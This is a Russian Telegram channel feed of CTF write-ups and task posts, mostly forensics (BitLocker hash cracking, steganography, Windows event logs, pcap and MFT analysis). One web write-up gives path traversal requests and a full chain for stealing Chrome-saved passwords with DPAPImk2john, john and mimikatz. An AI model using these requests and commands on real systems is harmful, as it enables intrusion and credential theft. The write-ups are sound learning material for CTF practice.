Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
391 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
Опа-опа! У нас первый таск по 🕵️‍♂️ FORENSICS!

Блушники, налетайте! 💙

#forensics
😳 Panic attack

Дружище, у нас взлом! Похоже, криминал, по коням! 🚨

Есть два журнала логов. Необходимо выяснить:

• Тип (название) атаки по классификации (MITRE ATT&CK®), одним словом, с маленькой буквы
• К какой учетной записи злоумышленники смогли получить доступ, одним словом, с маленькой буквы
• Инструмент, через который злоумышленники использовали взломанную учетную запись, одним словом, с маленькой буквы, без
расширения

Файлы журналов [тык]

Формат флага, разделитель %:

flag{type%user%utility}


Автор: @artrone

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥83👍2🗿2🤔1
Bitlocker-1. PicoCTF 2025 Writeup от @Max_RSC

Неожиданный интерес со стороны аудитории вдохновил меня и побудил быстрее взяться за дело. Итак, задачка Bitlocker-1 с PicoCTF 2025, категория forensics, уровень сложности medium.

Нам предоставлен диск bitlocker-1.dd, зашифрованный с использованием BitLocker. Наша цель — взломать хеш пароля BitLocker, получить доступ к диску и извлечь содержащиеся на нем данные.

Первым шагом мы извлекаем хеш пароля с помощью утилиты bitlocker2john:

bitlocker2john -i bitlocker-1.dd > bitlocker.hash


Теперь запускаем инструмент для взлома хешей. Я использовал Hashcat, но также можно было воспользоваться John the Ripper:

john --wordlist=rockyoulight.txt bitlocker.hash


В условиях задачки упоминается, что пароль является простым, поэтому в целях экономии времени я применил облегченную версию словаря rockyou:

hashcat -m 22100 -a 0 bitlocker.hash rockyoulight.txt


После некоторого времени работы Hashcat успешно находит пароль:

$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d:jacqueline


Как можно заметить, пароль соответствует имени пользователя (Jacky), значит, мы на верном пути.

Теперь мы можем открыть зашифрованный диск с помощью инструмента cryptsetup:

sudo cryptsetup bitlkOpen bitlocker-1.dd windows


Также можно воспользоваться инструментом dislocker — здесь кому как больше нравится.

Открываем диск и сразу же находим флаг.

#picoctf2025 #forensics
193
flags are stepic. PicoCTF 2025 Writeup от @Max_RSC

Продолжаем серию разборов задач по форензике с PicoCTF 2025. Рассмотрим задачку flags are stepic уровня сложности medium.

Несмотря на то, что за эту задачку предлагалось всего 100 баллов, справиться с ней удалось немногим, а некоторые участники охарактеризовали её как уцуцугу.

Запускаем инстанс и переходим на сайт. Сначала мне показалось, что здесь что-то вроде Navy Signals Code — необходимо составить флаг из флагов стран. Однако всё оказалось гораздо интереснее.

Подсказка "In the country that doesn't exist, the flag persists" намекает на то, что флаг нужно искать в несуществующей стране. Такую страну можно быстро найти — это Upanzi Network. Скачиваем флаг этой "страны" на свой компьютер:

wget http://standard-pizzas.picoctf.net:61688/flags/upz.png


Здесь начинается этап, который вызвал наибольшие трудности. Имели место и вовсе курьезные ситуации, когда на тематических форумах участники предлагали денежное вознаграждение за помощь в решении этой задачки :D

Итак, что нужно делать? Название задачки решило всё: flags are stepic. Немного погуглив, я нашел man-страницу стегоутилиты stepic:

# stepic (1)           - Python image steganography


Думаю, идея ясна. Осталось разобраться с синтаксисом, который оказался довольно простым:

stepic -d -i upz.png -o output.jpg


Таким образом, вторая часть задачки – это стеганография. Стеганография как часть форензики.

Дальше всё банально:

strings -n 8 output.jpg | grep -i pico


Получаем флаг.

#picoctf2025 #forensics
9👍7
task.zip
653.5 KB
Event-Viewing. PicoCTF 2025 Writeup от @Max_RSC

Продолжаем серию разборов задач по форензике с PicoCTF 2025. Рассмотрим задачку Event-Viewing уровня сложности medium.

На этот раз нам нужно было покопаться в журналах событий Windows, чтобы найти улики по каждому из вредоносных инцидентов. Но иногда можно и нужно схитрить. В условиях соревнований время — это золото, так что если есть возможность решить задачку быстрее, даже если совсем не так, как задумывал автор, почему бы и нет? В конце концов, после соревнований всегда можно вернуться к задачке и решить ее по-другому.

Мы знаем, что флаг будет закодирован в base64. Давайте запустим парсер, который выведет все события в удобочитаемом формате, а затем просто отфильтруем вывод с помощью команды grep. Парсер, который я использую для таких задач, я прикрепил к посту. Главное, чтобы парсер и файл Windows_Logs.evtx находились в одной директории.

В условии сказано, что флаг состоит из трех частей. Первую часть найти проще всего, ведь мы знаем, что флаг начинается с picoCTF, что в base64 выглядит как cGljb0NURn.

Запускаем команду:

python3.12 evtx_parser.py | grep cGljb0NURn 


И вот она, первая часть флага: cGljb0NURntFdjNudF92aTN3djNyXw==

Теперь, зная, что base64-строки часто заканчиваются на '==', давайте выведем все строки с двумя знаками '==' подряд. Выполняем команду:

python3.12 evtx_parser.py | grep '==' 


И находим вторую часть флага: MXNfYV9wcjN0dHlfdXMzZnVsXw==

С третьей частью флага могут возникнуть проблемы, ведь она не обязательно будет заканчиваться на '==', потому что на PicoCTF флаги уникальны для каждой команды. Здесь есть несколько вариантов. Если с фантазией все в порядке, то можно догадаться, что третья часть флага начинается со слова "tool". Или можно просто поискать по последнему символу флага, то есть по '}'. В base64 слово "tool" (вернее "t00l") будет выглядеть как dDAwb.

python3.12 evtx_parser.py | grep dDAwb


В результате мы быстро находим последнюю часть флага: dDAwbF8zZjJhMWI0Y30K=

#picoctf2025 #forensics
11
archive.zip
505.9 KB
Представляем вашему вниманию два развернутых райтапа на интересную форензику с недавнего HTB Cyber Apocalypse CTF 2025 от ТОП-10 на Codeby Games:

• A New Hire (very easy difficulty)
• Cave Expedition (medium difficulty)

Автор: @Rean1mat0r

#htb #cyberapocalypsectf #forensics
👍8
archive.zip
1.9 MB
А вот и еще два развернутых райтапa на форензику с недавнего HTB Cyber Apocalypse CTF 2025 от @Rean1mat0r. Давайте поддержим реакциями, Саня старался!

• Silent Trap (easy difficulty)
• Stealth Invasion (easy difficulty)

#htb #cyberapocalypsectf #forensics
👍194🏆2
task.pcapng
18.1 KB
#forensics
А вот это очень интересная задачка!

🦈 Спрей и Слёзы Wireshark’а

Дружище, у нас взлом! Похоже, криминал, по коням! 🚨 - часть 2

В очередной раз в галере "Ж" взломали какого-то "сына маминой подруги". Тебе, как самому единственному работяге в нашей конторе, необходимо выяснить:

- Учетную запись, над которой надругались хацкеры
- Какой глупенький пароль был у УЗ
- Какой вид атаки по (MITRE ATT&CK®) гопники из Мордора использовали, чтобы отжать креды у нашего хоббита

Сложность: “Почему я это делаю и куда подевался мой отпуск?”

Формат флага: artrone{login%password%T1234.567}

Автор: @artrone

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍1👌1
#misc #forensics
Капибариста

1) Идем на сайт и видим форму с логином. Креды нам не даны, поэтому тыкаем по единственной доступной кнопке - политике о персональных данных. Попадаем на URL:
https://t-barista-adminfilestorage-XXXXXX.spbctf.org/?path=/policy.pdf&action=download
2) Пробуем поменять путь и убрать тег action:
GET /?path=/../../../../../../../../../../../etc/passwd HTTP/2

В ответ получаем:
<html lang=en>
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Попытка взлома</p>

Ага... А если убрать тег action?
GET /?path=/ HTTP/2

Попадаем в файловый менеджер в вебе!
Однако ничего интересного в текущей папке не находим. Пробуем выбраться при помощи следующего пейлоада:
GET /?path=/./../ HTTP/2

Вылетаем в корневую директорию, кайф
Можем считать /etc/passwd:
GET /?path=/./../etc/passwd HTTP/2

Ответ:
<textarea cols="80" rows="25">root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</textarea>

Пропустим момент с бесконечными поисками интересных файлов и перейдем к сути: в /mnt примонтирован виндовый диск C:
3) Находим интересные приложения на диске C:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome HTTP/2

По этому пути узнаем, что в системе стоит Chrome. А значит, там может быть сохранена кука для авторизации на сайте!
Забираем SQLite базу данных со всеми кредами хрома:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Default/Login+Data HTTP/2

База данных на ОС Windows зашифрована так называемым masterkey, который мы можем достать по пути
GET /?path=/./../mnt/C/Users/capybarman/AppData/Roaming/Microsoft/Protect//S-1-5-21-1023654651-2831612651-3133783694-1000/c637715b-e447-4cd5-9a72-445ef3861446 HTTP/2

Однако не все так просто - masterkey в свою очередь зашифрован паролем пользователя. Поэтому используем утилиту DPAPImk2john и сбрутим хеш:
python3 DPAPImk2john.py --sid="S-1-5-21-1023654651-2831612651-3133783694-1000" --masterkey="c637715b-e447-4cd5-9a72-445ef3861446" context="local" > hash.txt

Ну и запустим john со словарем rockyou.txt на полученный хеш. Получим пароль Capybara1792
4) Для расшифровки masterkey запустим утилиту mimikatz и выполним:
dpapi::masterkey /in:"c637715b-e447-4cd5-9a72-445ef3861446" /sid:"S-1-5-21-1023654651-2831612651-3133783694-1000" /password:"Capybara1792" /protected

В самом низу будет наш masterkey.
5) Расшифруем ключ при помощи полученного masterkey, также используя mimikatz. Для начала вытащим сам зашифрованный ключ:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Local+State HTTP/2

Он будет находиться по ключу os_crypt.enrypted_key в JSON файле по пути выше. Также перед записью в файл его надо декодировать из base64 и убрать первые 5 символов из раскодированного значения - DPAPI. Сохраним результат в файл dec_data
Запускаем mimikatz и вводим:
dpapi::blob /masterkey:MASTERKEY_FROM_4_STEP /in:"dec_data" /out:"aes.dec"

6) Теперь надо вынуть password из вытащенной на 3 этапе базы данных
SELECT origin_url, username_value, password_value FROM logins

И расшифровать при помощи полученного AES-ключа (можно использовать этот скрипт, например)
7) Получаем пароль OmgSoAdminPasswordVerySecure2025 с логином admin,  авторизуемся на сайте, отключаем опцию "только соевое молоко", наслаждаемся анимацией и получаем флаг!

Автор: @ll0ydik
👍10🤯21
Where is my Pony? NullByte Eternal Games Writeup от @Max_RSC

Без лишних предисловий перейдем к делу.

Нам дали какой-то flashdrive. На всякий случай сделаем strings: вдруг флаг лежит в открытом виде?
strings flashdrive | grep -i X0G4M3

# Вывод:

X0G4M3{Th1s_1S_N0t_MY_B3l0v3D_P0nY}

Фейк! Почему я не удивлен :D

Кидаем в file, чтобы понять, что представляет собой этот файл:
file flashdrive

# Вывод:
flashdrive: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", sectors/cluster 8, Media descriptor 0xf8, sectors/track 32, heads 64, hidden sectors 26116096, sectors 4192256 (volumes > 32 MB), FAT (32 bit), sectors/FAT 4088, reserved 0x1, serial number 0xd873f71c, unlabeled

Окей, это образ флешки. FAT32, куча секторов, скрытых разделов — в общем, все как обычно: у @CyberFazaN легко не бывает.

Чтобы посмотреть, что на флешке, воспользуемся утилиткой fls из пакета sleuthkit:
fls -r -f fat32 -o 0 flashdrive

# Вывод:

DO_NOT_OPEN/ # ну конечно, сразу хочется туда залезть!

MyBelovedVideo.mp4 # подозрительно милое название...

wallpaper.png # вряд ли это интересно

.hidden # о, папочка с секретиками!

.NotThat.jpg # классика: "это не то, что ты ищешь" (скорее всего, как раз именно то)

______~1.PNG # похоже на битую картинку

LOOOOOOOVEEEEEEEE.txt # это явно не просто текстовик...

Берем icat из пакета sleuthkit и начинаем вытаскивать все подряд:
icat -o 0 flashdrive 135 > MyBelovedVideo.mp4

icat -o 0 flashdrive 6 > wallpaper.png

# и так далее...

Файл LOOOOOOOVEEEEEEEE.txt выглядит как текстовый, но...
file LOOOOOOOVEEEEEEEE.txt

# Вывод:

LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.txt: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "Nice", progressive, precision 8, 720x850, components 3

Оказывается, это JPEG. Переименовываем:
mv LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.txt LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.jpg

Открываем картинку:
eog LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.jpg

Видим флаг.

Ссылка на задание

#forensics #NullByte #NBGames #writeup
22
FreeHackQuest - admin_vol.1. Writeup от @Max_RSC

Задача — имея образ виртуального диска Mik.vdi, найти информацию о злоумышленнике, про которого известно, что он очень любит "Матрицу" и "Алису в стране чудес". 

Подключаем диск Mik.vdi к виртуалке с Kali Linux и загружаемся. После старта в /media/kali видим два смонтированных раздела: system и system1. 

Раз есть "Матрица", значит, наверняка есть Нео. Предположим, что n30 – один из пользователей этой системы. Пробуем поискать информацию по ключевому слову n30:
grep -i n30 -r /media/kali/system  

Ничего интересного. Хорошо, теперь поищем в system1:
grep -i n30 -r /media/kali/system1  

Получаем зацепку и начинаем копать более прицельно:
grep -ai n30 -r /media/kali/system1/rw/store/user.dat  
 

Ключик -a заставляет grep рассматривать файл как текстовый, даже если это бинарный файл.

В результате натыкаемся на пользователя whiterabbit, а рядом — флаг.

"whiterabbit" — это явная отсылка одновременно и к "Алисе" и к "Матрице", так что можно было сразу грепать и по "white", и по "rabbit". Разумеется, при условии, что кибератлет достаточно эрудирован и уловил отсылку из условия задачи.

#admin #forensics #fhq #writeup
12
#forensics #medium #writeup
Kuban CTF – Файловый трансфер от @Rean1mat0r (ТОП-5 на HackerLab)

Открываем дамп трафика в Wireshark и смотрим файлы в дампе:

Файл -> Экспортировать объекты -> FTP-Data

Сохраняем архив archive.zip, он запаролен

Смотрим TCP потоки и в потоке 5 находим:

220 (vsFTPd 3.0.5)
USER transfer
331 Please specify the password.
PASS 7+N42D(Msj9:
230 Login successful.

Пароль подходит к архиву, в архиве файл secure_creds.txt с таким содержимым:

/RteVGJrn

PMkEaBLVfp

/RteVGJrn очень похоже на какой то эндпоинт

Исследуем TCP потоки и в потоке 13 находим адрес pastebin.com

Заходим на pastebin.com/RteVGJrn вводим пароль PMkEaBLVfp и получаем заметку с флагом

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
112211
#forensics #medium #writeup
Kuban CTF – MTF от @Rean1mat0r (ТОП-5 на HackerLab)

Дан дамп MFT

Гуглим MFT Forensics и находим утилиту MFT Explorer

Открываем в ней наш дамп и изучаем

Проверяем папки пользователя, такие как Desktop, Documents, Downloads. Ничего интересного не находим. Но в файле истории команд Powershell ".\Users\trager\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" находим такое:

ASCII: cd ~/Desktop
1..5 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..50 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..150 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
ping 192.168.58.132
cd C:\Windows\
ls
echo 1 > Doc
ls
echo "43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D" > Doc
cat .\Doc
cd C:\Users\trager\Downloads\
ls
./fast_x64.exe --packages dump --dump mft
.\FastIR_x64.exe --packages dump --dump mft

Декодим из хекс 43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D и получаем флаг

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
81
Подборка райтапов с прошедшего AlfaCTF:

Задания кстати все еще доступны
https://alfactf.ru/tasks

🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web

🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT

🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web

🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web

🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS

👨‍💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest

🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic

🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client

📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic

🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE

🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python

🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network

🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1433